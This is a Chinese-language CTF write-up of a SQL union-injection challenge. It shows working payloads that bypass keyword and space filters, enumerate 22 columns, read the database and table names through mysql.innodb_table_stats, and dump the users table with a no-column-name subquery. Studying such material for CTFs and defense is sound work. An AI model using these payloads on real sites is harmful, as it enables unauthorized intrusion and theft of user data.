知识点:sql联合注入(各种关键词的替换)
我们先注册,尝试以admin为用户名
提示已被注册,说明存在admin用户,但密码我没有爆破成功,还是老老实实的注册吧。(如果各位大佬成功了,望留言!!
)
注册个账号,进入里面唯一能够输入的就是广告位
有报错,且会过滤一些关键词,例如and,order by…空格也被过滤了。
空格我们可以用/**/来代替,order by可以用group by来代替,注释符可以用’来闭合。
当我们查列名23会报错
-1'/**/group/**/by/**/23,'abc
说明列数为22列,下面要查哪些列会回显。
查看回显列
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc
可以看一下数据库版本
-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'abc
___________________________________________________________________
接下来就要爆破了。
爆库,库名web1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
___________________________________________________________________
爆表:
且information_schema.tables被过滤
有两种方法绕过
mysql.innodb_table_stats
sys.schema_auto_increment_columns
1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
___________________________________________________________________
爆列时,显示column_name为未知列,咋办呢,看了其他大佬的wp,说要无列名爆值。
group_concat(column_name)
无列名爆值
普通的sq查询
select * from users
查询表,并把列名替换为1,2,3.4,5,6
select 1,2,3,4,5 ,6union select * from users
单独把第四列提出来,(select 1,2,3,4,5,6 union select * from users)a给查询结果命名
select `4` from (select 1,2,3,4,5,6 union select * from users)a;
若反引号被过滤,可以这样
select b from (select 1,2,3 as b,4,5 union select * from users)a;
所以这题payload:
这边是group_concat(b)是因为有可能有列名相同
-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
参考:
https://www.bilibili.com/video/av97418004
https://www.jianshu.com/p/dc9af4ca2d06
https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/